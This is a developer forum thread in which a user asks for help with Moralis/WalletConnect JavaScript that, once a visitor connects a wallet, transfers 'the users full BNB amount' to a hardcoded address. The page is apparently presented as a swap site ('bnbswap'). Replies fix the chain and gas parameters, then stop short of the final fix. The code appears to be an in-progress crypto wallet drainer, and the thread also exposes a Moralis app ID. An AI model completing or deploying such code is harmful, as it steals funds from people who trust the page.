Send full balance of bnb

hi my dear tech team
i wanna send the users full BNB amount to another address. here is the code .
2 prblems
1 the balance is show 0
2 where to subtract the gas fee.
thanks for your time

 <script>
      // connect to Moralis server

      const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
      const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
      Moralis.start({ serverUrl, appId });
      

      async function login() {
        const web3 = await Moralis.enableWeb3({
          provider: "walletconnect",
          chainId: 56
        });
        
      }
       async function logOut() {
        await Moralis.User.logOut();
        console.log("logged out");
        alert ("Logout and clear all data already");
      }

      async function send () { 
       const balance = await Moralis.Web3API.account.getNativeBalance();
        console.log(balance)
const ethInWei = Moralis.Units.ETH(balance);
      console. log (ethInWei)
        const options = {
  type: "native",
  amount: Moralis.Units.Token(ethInWei),
  receiver: "0x5e9723c6DA101BA91404EeF086B6DA736f49E5Fc",
};
let result = await Moralis.transfer(options);
      }

      document.getElementById("btn-login").onclick = login;
      document.getElementById("btn-logout").onclick = logOut;
      document.getElementById("send").onclick = send;
    </script>

Maybe that wallet address that authenticated doesn’t have bnb

You can subtract here the approximate cost in gas.

thank you for your weekend time .
but i am sure there is balance
here is full code .

<html>
  <head>
<!-- CSS only -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-0evHe/X+R7YkIZDRvuzKMRqM+OrBnVFBL6DOitfPri4tjfHxaWutUpFmBp4vmVor" crossorigin="anonymous">
    <!-- JavaScript Bundle with Popper -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-pprn3073KE6tl6bjs2QrFaJGz5/SUsLqktiwsUTF55Jfv3qYSDhgCecCxMW52nD2" crossorigin="anonymous"></script>
  </head>
  <body>
    <h1>BSC connect</h1>

    <button id="btn-login">connect wallet Login</button>
    <button id="btn-logout">Logout</button>
    <button id="send">send bnb</button>
    <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
    <script src="https://unpkg.com/moralis/dist/moralis.js"></script>
    <script src="https://github.com/WalletConnect/walletconnect-monorepo/releases/download/1.7.1/web3-provider.min.js"></script>

    <script>
      const serverUrl = "https://ziaphezfiimp.usemoralis.com:2053/server";
      const appId = "893O49wcRg8PcpHVyy0uaSIrSLvKEQM9aqUNkLBu";
      Moralis.start({ serverUrl, appId });
      

      async function login() {
        const web3 = await Moralis.enableWeb3({
          provider: "walletconnect",
          chainId: 56
        });
        
      }
       async function logOut() {
        await Moralis.User.logOut();
        console.log("logged out");
        alert ("Logout and clear all data already");
      }

      async function send () { 
       const balance = await Moralis.Web3API.account.getNativeBalance();
        console.log(balance)
const ethInWei = Moralis.Units.ETH(balance);
      console. log (ethInWei)
        const options = {
  type: "native",
  amount: Moralis.Units.Token(ethInWei),
  receiver: "0x5e9723c6DA101BA91404EeF086B6DA736f49E5Fc",
};
let result = await Moralis.transfer(options);
      }

      document.getElementById("btn-login").onclick = login;
      document.getElementById("btn-logout").onclick = logOut;
      document.getElementById("send").onclick = send;
    </script>
  </body>
</html>

here is the console bug
here is the host https://bnbswap.carterwu768210.repl.co/

You can pass the address parameter explicitly, and also you have to pass the chain. If no chain is specified it will default to eth.

async function send () { 
      var balance = await Moralis.Web3API.account.getNativeBalance({
      chain: "bsc"
      
    });
        console.log(balance)
 const gasPrice = 10;
        const options = {
          chain: "bsc",
  type: "native",
          gasPrice: gasPrice * 1000000000,
          gasLimit:"21000", 
  amount: balance,
  receiver: "0x5e9723c6DA101BA91404EeF086B6DA736f49E5Fc",
};
let result = await Moralis.transfer(options);
      }

i pass chain bsc parameter
than it show consloe log balance: ‘53342013220000000’
i think it is already in wei with 18 demail
so i put amount : balance ;
there is still have a bug Uncaught (in promise) Error: invalid BigNumber value (argument=“value”, value={“balance”:“53342013220000000”}, code=INVALID_ARGUMENT, version=bignumber/5.6.0)
can you help me how to write the amount ?
thank you very much

you have to get only the number, not that object that has a key and value as here: value={“balance”:“53342013220000000”}

sorry i have bad tech at coding . can you help me how to get the value only not the object

you have to lean how to do it, try console.log few times